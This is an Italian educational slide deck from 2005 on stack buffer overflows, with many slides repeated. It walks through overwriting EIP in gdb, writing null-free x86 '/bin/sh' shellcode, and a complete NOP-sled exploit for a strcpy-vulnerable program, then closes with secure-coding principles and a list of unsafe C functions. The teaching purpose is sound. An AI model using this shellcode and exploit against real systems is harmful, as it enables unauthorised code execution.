How to have fun with stack and heap (and more...)

Transcript

How to have fun with stack and heap (and more...)
Il malsano mondo della della "finta" programmazione
How to have fun with stack and heap (and more...)
Danilo Sia aka Birdack
POuL -Politecnico Open unix Lab - Milano
06/04/2005
Powered by:
AT
L
EX and Vim
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
1
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Introduzione al malsano mondo della "finta" programmazione!
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Introduzione
Cosa si intende per Buffer Overflow?
Sia l'ambiente di esecuzione di C (come di molti altri
linguaggi...) che molte funzioni della libreria standard non
prevedono alcun tipo di verifica sui limiti delle variabili. E'
quindi possibile, se il programmatore non ha prestato ben
attenzione sul controllo degli ingressi, riuscire ad oltre passare i
limiti imposti alle variabili.
E questo che problemi comporta?
Molto semplicemente e' possibile andare a scrivere ad
esempio oltre i limiti di un array andando a "sporcare" zone di
memoria riservate ad altro.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Introduzione
Cosa si intende per Buffer Overflow?
Sia l'ambiente di esecuzione di C (come di molti altri
linguaggi...) che molte funzioni della libreria standard non
prevedono alcun tipo di verifica sui limiti delle variabili. E'
quindi possibile, se il programmatore non ha prestato ben
attenzione sul controllo degli ingressi, riuscire ad oltre passare i
limiti imposti alle variabili.
E questo che problemi comporta?
Molto semplicemente e' possibile andare a scrivere ad
esempio oltre i limiti di un array andando a "sporcare" zone di
memoria riservate ad altro.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Introduzione
Ma quindi....
...Sì e' possibile non solo modificare porzione della memoria
(che e' un attivita non molto elegante), ma anche iniettare
opportunamente del codice e farlo eseguire...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Un po' di codice di esempio
Si consideri un semplice programma che dovrebbe leggere una
stringa dalla tastiera e visualizzarla sullo schermo.
simpleex.c
# include <stdio.h>
int main(void){
int var1;
char s[10];
//ATTENZIONE!!
int var2;
var1=10;
var2=10;
// continua...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Un po' di codice di esempio
Si consideri un semplice programma che dovrebbe leggere una
stringa dalla tastiera e visualizzarla sullo schermo.
simpleex.c
# include <stdio.h>
int main(void){
int var1;
char s[10];
//ATTENZIONE!!
int var2;
var1=10;
var2=10;
// continua...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
simpleex.c
// ...continua.
gets(s);
//eccolo qui sempre insidioso!
printf("%s %d %d",s,var1,var2);
return 0;
}
Non vi è alcun errore visibile. Ma la chiamata gets() puo' provocare
un errore in "Execution time".
Nel programma s e' dichiarato come 10 caratteri, ma se l'utente
immettesse piu' dei suddetti 10 caratteri? Accadrebbe che
sarebbero superati i limiti di s andando a scrivere in zone di
memoria magari riservate a var1 o var2.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
simpleex.c
// ...continua.
gets(s);
//eccolo qui sempre insidioso!
printf("%s %d %d",s,var1,var2);
return 0;
}
Non vi è alcun errore visibile. Ma la chiamata gets() puo' provocare
un errore in "Execution time".
Nel programma s e' dichiarato come 10 caratteri, ma se l'utente
immettesse piu' dei suddetti 10 caratteri? Accadrebbe che
sarebbero superati i limiti di s andando a scrivere in zone di
memoria magari riservate a var1 o var2.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
Ora cerchiamo di capire meglio cosa succede a basso livello.
Iniziamo compilando il nostro "bel" programmino:
birdack@Belfagor codice $ gcc simpleex.c -o simpleex
/tmp/ccwXZ4nV.o(.text+0x2c): In function `main':
: warning: the `gets' function is dangerous and should not be used.
Lo stesso compilatore ci sta avvertendo del pericolo...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
Ora cerchiamo di capire meglio cosa succede a basso livello.
Iniziamo compilando il nostro "bel" programmino:
birdack@Belfagor codice $ gcc simpleex.c -o simpleex
/tmp/ccwXZ4nV.o(.text+0x2c): In function `main':
: warning: the `gets' function is dangerous and should not be used.
Lo stesso compilatore ci sta avvertendo del pericolo...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
Bene ora inizia la parte divertente...facciamo un po' di prove.
birdack@Belfagor codice $ perl -e '{print "A"x"10"}' | ./simpleex
AAAAAAAAAA 10 10
Fino a qui niente di strano normale esecuzione...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
birdack@Belfagor codice $ perl -e '{print "A"x"16"}' | ./simpleex
AAAAAAAAAAAAAAAA 10 10
No non e' magia...in effetti il compilatore impone di allocare sempre
il valore a base 2 superiore...esempio se devo allocare 10 byte in
realta' il compilatore fara' in modo di allocarne 16...e quindi se
provassi....
birdack@Belfagor codice $ perl -e '{print "A"x"17"}' |./simpleex
AAAAAAAAAAAAAAAA 10 1090519050
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
birdack@Belfagor codice $ perl -e '{print "A"x"16"}' | ./simpleex
AAAAAAAAAAAAAAAA 10 10
No non e' magia...in effetti il compilatore impone di allocare sempre
il valore a base 2 superiore...esempio se devo allocare 10 byte in
realta' il compilatore fara' in modo di allocarne 16...e quindi se
provassi....
birdack@Belfagor codice $ perl -e '{print "A"x"17"}' |./simpleex
AAAAAAAAAAAAAAAA 10 1090519050
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
birdack@Belfagor codice $ perl -e '{print "A"x"17"}' | ./simpleex
AAAAAAAAAAAAAAAA 10 1090519050
Cio' significa che il compilatore gcc sopra questo ibook funziona
allocando all'incirca in questo modo:
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
birdack@Belfagor codice $ perl -e '{print "A"x"52"}' | ./simpleex
A.......A 10 1094795585
Segmentation fault
uhm...interessante questo prova che posso scrivere ovunque nella
memoria una volta superato i limiti,la cosa divertente e' che io
potenzialmente potrei scrivere tutto in memoria anche codice
macchina...e quindi con un opportuna modifica al registro che
punta alla prossima istruzione (Program Counter, PC o IP).
Per comodita' e semplicita' sposto l'applicazione in esame su
un'architettura piu' semplice tipo un X86 il cui limitato numero di
registri permettera' una migliore visione dell'insieme....ma la teoria
non cambia molto se avessi voluto realizzare il tutto sul mio ibook!
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
Anche se ora l'allocamento e' un po' diverso le premesse poste
prima non cambiano.
Quello che ci interessa vedere e' se riusciamo da qui a raggiungere
il registro che ci interessa modificare (eip) e assegnargli il valore di
indirizzo del nostro buffer in tal modo la prossima istruzione esguita
sarà casualmente quello che avremo scritto nel nostro buffer
(vedremo dopo questo punto).
Ma Iniziamo a giocare un po' con il nostro amico gdb (Gnu
DeBugger).
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
Dopo un po' di tentativi arriviamo a qualcosa del tipo:
(gdb) run
Starting program: simpleex
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
A....evito di copiarli tutti.......ABBBB 1094795585 10
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info all-registers
eax
0x0 0 ecx
0x0 0
edx
0x40 64 ebx
0xb7fc7ff-4 -1208188940
esp
0xbffff-4e0 0xbffff4e0 ebp
0x41414141 0x41414141
esi
0x0 0 edi
0xb8000ca0 -1207956320
eip
0x42424242 0x42424242 // ecco qui il nosto BBBB
eflags
0x10246 66118
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Esempio Semplice
Dopo un po' di tentativi arriviamo a qualcosa del tipo:
(gdb) run
Starting program: simpleex
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
A....evito di copiarli tutti.......ABBBB 1094795585 10
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info all-registers
eax
0x0 0 ecx
0x0 0
edx
0x40 64 ebx
0xb7fc7ff-4 -1208188940
esp
0xbffff-4e0 0xbffff4e0 ebp
0x41414141 0x41414141
esi
0x0 0 edi
0xb8000ca0 -1207956320
eip
0x42424242 0x42424242 // ecco qui il nosto BBBB
eflags
0x10246 66118
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
1
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Introduzione al malsano mondo della "finta" programmazione!
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Per Shellcode si intende in senso generale codice macchina che
esegue "qualcosa".
In altre parole e' il pacchetto regalo che verra' eseguito!!!
Puo' ad esempio essere qualcosa di molto simile a:
sh.c
int main(){
char *exec_array[2];
exec_array[0] = "/bin/sh";
exec_array[1] = 0;
execve(exec_array[0],exec_array,0);
}
Come si intuisce banalmente questo stralcio di codice non fa' altro
che eseguire una shell...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Vi sono in generale vari metodi per poter scrivere uno shellcode
quello che vedremo e' funzionante ma non e' di certo la soluzione
migliore..
Non rimane che trasformare tutto questo in qualcosa di
comprensibile alla macchina senza passare da compilatori...quindi
dovremo trasformarlo in asm...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Iniziamo a compilare in modo statico il sorgente di cui sopra:
gcc sh.c -static -ggdb -o sh
Compilo in modo statico per il semplice fatto che a me interessa
avere tutte le funzioni inserite come codice nel mio eseguibile e non
semplici link a funzioni in memoria del sistema...infatti il codice
della funzione
execve
sarebbe stato altrimenti linkato
dinamicamente.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
inizializzazione
amos:~/xploit# gdb -quiet sh
(gdb) disassemble main
Dump of assembler code for function main:
0x80481c0 <main>: push %ebp
0x80481c1 <main+1>: mov %esp,%ebp
0x80481c3 <main+3>: sub $0x18,%esp
Queste prime tre istruzioni sono quelle necessarie all'inizializzazione
di una nuova funzione...
Salva il Frame Pointer
Crea un nuovo Stack Pointer
Infine alloca alla cima dello stack le variabili locali
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Corpo del Main
0x80481c6 <main+6>: movl $0x808b6c8,0xffffff8(%ebp)
0x80481cd <main+13>: movl $0x0,0xfffffffc(%ebp)
0x80481d4 <main+20>: add $0xfffffffc,%esp
Viene copiato l'indirizzo della stringa "/bin/sh" nel primo elemento
dell'array
Successivamente viene copiato il valore 0 nel secondo elemento
dell'array
Aggiorna la cima dello stack (Stack Pointer)
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Call execve()
0x80481d7 <main+23>:
0x80481d9 <main+25>:
0x80481dc <main+28>:
0x80481dd <main+29>:
0x80481e0 <main+32>:
0x80481e1 <main+33>:
0x80481e6 <main+38>:
0x80481e9 <main+41>:
0x80481ea <main+42>:
End of assembler dump.
push $0x0
lea 0xfffffff8(%ebp),%eax
push %eax
mov 0xfffffff8(%ebp),%eax
push %eax
call 0x804bf90 <execve>
add $0x10,%esp
leave
ret
Vengono ricopiati nello stack in ordine inverso i valori contenuti
nell'array e chiama la funzione execve() che sara' oggetto del nostro
studio.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
(gdb) disass execve
Dump of assembler code for function execve:
0x804bf90 <execve>: push %ebp
0x804bf91 <execve+1>: mov %esp,%ebp
0x804bf93 <execve+3>: sub $0x10,%esp
0x804bf96 <execve+6>: push %edi
0x804bf97 <execve+7>: push %ebx
0x804bf98 <execve+8>: mov 0x8(%ebp),%edi //inizio copy add. stringa
0x804bf9b <execve+11>: mov $0x0,%eax
0x804bfa0 <execve+16>: test %eax,%eax
0x804bfa2 <execve+18>: je 0x804bfa9 <execve+25>
0x804bfa4 <execve+20>: call 0x0
0x804bfa9 <execve+25>: mov 0xc(%ebp),%ecx //add. array in ecx
0x804bfac <execve+28>: mov 0x10(%ebp),%edx //0 in edx
0x804bfaf <execve+31>: push %ebx
0x804bfb0 <execve+32>: mov %edi,%ebx //fine copy add. stringa
0x804bfb2 <execve+34>: mov $0xb,%eax //codice call execve in eax
0x804bfb7 <execve+39>: int $0x80 //kernel mode
0x804bfb9 <execve+41>: pop %ebx
0x804bfba <execve+42>: mov %eax,%ebx
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
0x804bfbc <execve+44>: cmp $0xfffff000,%ebx
0x804bfc2 <execve+50>: jbe 0x804bfd2 <execve+66>
0x804bfc4 <execve+52>: call 0x8048380 <__errno_location>
0x804bfc9 <execve+57>: neg %ebx
0x804bfcb <execve+59>: mov %ebx,(%eax)
0x804bfcd <execve+61>: mov $0xffffffff,%ebx
0x804bfd2 <execve+66>: mov %ebx,%eax
0x804bfd4 <execve+68>: pop %ebx
0x804bfd5 <execve+69>: pop %edi
0x804bfd6 <execve+70>: leave
0x804bfd7 <execve+71>: ret
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Quindi essenzialmente si e' capito (spero) che e' necessario:
1
Avere una stringa contenente "/bin/sh" (array[0]);
2
Avere una stringa di memoria contenente 0 (array[1]);
3
Avere nel registro EAX il valore 11;
4
Avere nel registro EBX l'indirizzo della stringa;
5
Avere in ECX l'indirizzo dell'indirizzo della stringa;
6
Avere in EDX l'indirizzo di 0 (Null).
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
.global main
main:
jmp call_string
shellcode:
pop %esi
// Registro della Stringa
movl %esi,0x8(%esi)
// Metto l'indirizzo del registro in ESI+8
movb $0x0,0x7(%esi)
// Metto il carattere null terminatore di stringa
movl $0x0,0xc(%esi)
// Scrivo 0 in ESI+12
movl $0xb,%eax
// Imposto il modo in 11 (execve)
movl %esi,%ebx
// Scrivo ESI in ebx
leal 0x8(%esi),%ecx
// ESI+8 in ECX ("/bin/sh")
leal 0xc(%esi),%edx
// ESI+12 in EDX (carattere 0)
int 0x80
// modalita' kernel
call_string:
call shellcode
.string "/bin/sh"
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Compilo lo shellcode scritto poco fa' e mi aiuto con un po' di
comandi bash ad estrarre solo gli opcode.
"gcc -g -ggdb shellcode1.s"
lancio un "objdump -d a.out "
e osservo il risultato, leggo l'indirizzo
di registro in cui inizia il main (ADD_MAIN) e infine lancio un:
objdump -d a.out | egrep -A 20 "^ADD_MAIN <" | cut -f 2 |\ egrep -v \< | egrep -v
^$ | xargs --max-args=16 echo| sed s/' '/"\\\x"/g | sed s/^/"\\\x"/ | sed s/^/'"'/ |
sed s/$/'"'/
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73"
mi accorgo che "x2f\x62\x69\x6e\x2f\x62\x61\x73" non e' altro che
"/bin/sh"
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Quello shellcode non potra' mai essere eseguito all'interno di un
buffer overflow infatti le funzioni che normalmente vengono usate
copiano caratteri da una stringa ad un altra fino a quando non si
raggiunge un carattere terminatore che nella maggior parte dei casi
si tratta proprio del null ("\0")
quindi dovremo cercare di eliminare i caratteri 00 dal nostro
shellcode.
80483c6:
80483ca:
80483d1:
c6 46 07 00
movb 0x0,0x7(%esi)
c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
b8 0b 00 00 00
mov $0xb,%eax
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Per riuscire ad ottenere una shell "pulita" dovro' ricorrere a
semplici sostituzioni.
Se ci ragiono un po' su e mi ricordo di una funzione logica
chiamata "or esclusivo". Xorl di un registro per se stesso trasforma
il contenuto in zeri.
Quindi al posto delle prima due istruzioni posso usare:
xorl %eax,%eax
movb %eax,0x7(%esi) //primo movl
xorl %eax,%eax
movl %eax,0xc(%esi) // secondo movl
per l'ultima ricordo semplicemente che EAX e' scomponibile in due
sotto-registri, e quindi copio 11 direttamente in al (reg low):
movb $0xb,%al
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Shellcode
Sotituiamo tutto nel nostro shellcode.
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
ecco questo e' cio' che dovremo far eseguire alla macchina
"vittima".
Possiamo testarlo:
char shellcode[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int main(void) {
int i,*P_SRET;
P_SRET=(&i)+2; /* copiamo l'indirizzo del puntatore P_SRET nel registro
EIP*/
*P_SRET=(int )shellcode;
/* Mettiamo in SRET l'indirizzo di shellcode */ }
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Il nostro primo exploit
Considero un esempio (come quello iniziale) ma un po' piu'
semplificato:
vuln.c
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
evito di utilizzare l'esempio precedente solo per uno scopo
didattico...in effetti gets() causerebbe la modifica del nostro
shellcode e altre piccole attenzioni, preferisco quindi per il momento
rendere il tutto il piu' semplice possibile.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Il nostro primo exploit
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define BUF 265 // individuato con gdb
#define NOP 0x90 // opcode del nop
#define RET 0xbffffd54 // indirizzo di ritorno individuato con gdb
char sc[]= /* linux/i386 shellcode */
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Il nostro primo exploit
unsigned long getesp()
{
__asm__("movl %esp, %eax");
}
/* Questa funzione che invoca un comando asm ha lo scopo di ritornare
l'indirizzo dello Stack Pointer difatti lo copia su eax pronto ad essere ricevuto
dalla funzione chiamante */
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Il nostro primo exploit
int main(int argc, char *argv[]) {
int ret, i, n;
char *arg[3], buf[BUF];
int *ap; /* address pointer */
if (argc < 2)
ret = RET;
else
ret = getesp() - atoi(argv[1]); // -137
/* serve in caso volessimo fare un bruteforce dell'indirizzo di ritorno, e'
necessaria tale tecnica per macchine diverse da quella attualmente in esame (o
meglio con caratteristica "abbastanza" diverse)...con le dovute modifiche e'
utile anche in caso di exploit da remoto */
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
il nostro primo exploit
fprintf(stderr, "Using ret: 0x%X\n", ret);
/* facciamo puntare in nostro puntatore ad indirizzo al buffer */
ap = (int *)(buf );
/* copio l'indirizzo di ritorno in tutto il buffer */
for (i = 0; i < BUF; i += 4)
*ap++ = ret;
/* Spalmo per meta' del buffer dei NOP */
for (i = 0; i < BUF / 2; i++)
buf[i] = NOP;
/* E dopo i nop metto il nostro shellcode*/
for (n = 0; n < strlen(sc); n++)
buf[i++] = sc[n];
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Il nostro primo exploit
}
arg[0] = "./vuln";
arg[1] = buf;
arg[2] = NULL;
execve(arg[0], arg, NULL);
perror("execve");
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
1
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Introduzione al malsano mondo della "finta" programmazione!
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Commenti
Naturalmente quello qui minuziosamente descritto e' solo uno dei
vari metodi con cui e' possibile arrivare a far eseguire codice
"malizioso" all'interno di una applicazione. La maggior parte di
queste tecniche e' direttamente dipendente da quale funzione
vogliamo sfruttare a nostro vantaggio (esistono anche tecniche
multiple tipo heap+stack).
Inoltre tecniche relativamente piu' recenti (2002) come la "format
string" mette in crisi molto del software difatti e' possibile sfruttare
errori quali:
printf(buf); // invece di printf("%s",buf)
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Commenti
Ogni buon programmatore deve quindi fare i conti con una serie di
funzioni e controllare sempre l'input ricevuto.
Possiamo sintetizzare il tutto in 8 semplici principi:
Principio del minimo privilegio:
Ogni processo relativo ad
un programma dovra' essere esguito con solo i privileggi
necessari allo svolgimento delle sue funzioni
Principio della sicurezza di default:
Ogni privilegio va'
concesso in "execution time"; eventuali errori devono riportare
i processi in situazione non privilegiata (velocemente per
evitare "race condition")
Principio della semplicita' dei meccanismi:
Programmazione a routines e sottofunzioni.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Commenti
Principio dell'Open Design:
La sicurezza di un software non
deriva dall'occultamento di particolari implementativi (cio' non
viola la liberta' di avere un software closed-source, ma
semplicemente di non affidarsi ad una simile soluzione) ne'
attraverso l'utilizzo di strumenti esterni.
Principio del check completo:
L'accesso ad ogni risorsa
deve essere oggetto di checking prima di ogni operazione
(r,w,x).Tale controllo deve essere effettuato all'interno del
software stesso.
Principio del minimo dei meccanismi comuni:
Limitare la
condivisione di risorse al fine di ridurre i rischi di inconsistenza
dei dati, memory leak (memoria allocata che rimane tale anche
al termine del programma)
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Commenti
Principio della separazione dei privilegi:
i privilegi vengono
effettuati unicamente dopo verifiche di multiple condizioni
Principio dell'accettabilita' Psicologica:
l'utente finale non
dovra' "accorgersi" delle "clausole di sicurezza" che avremo
implementato.
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Commenti
Quelle qui di seguito sono alcune delle funzioni maggirmente a
rischio:
strcpy, lstrcpy, lstrcpyA, lstrcpyW, lstrcpyn, lstrcpynA, lstrcpynW, wstrcpy, strncpy,
wstrncpy, sptrintf, swptrinf, gets, getws, strcat, lstracat, lstrcatW, wcscat, strncat,
wstrncat, memcpy, memmove, scanf, wscanf, fgets.
E' buona norma evitare di usarle o almeno verificarne i parametri
prima di eseguirle...
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
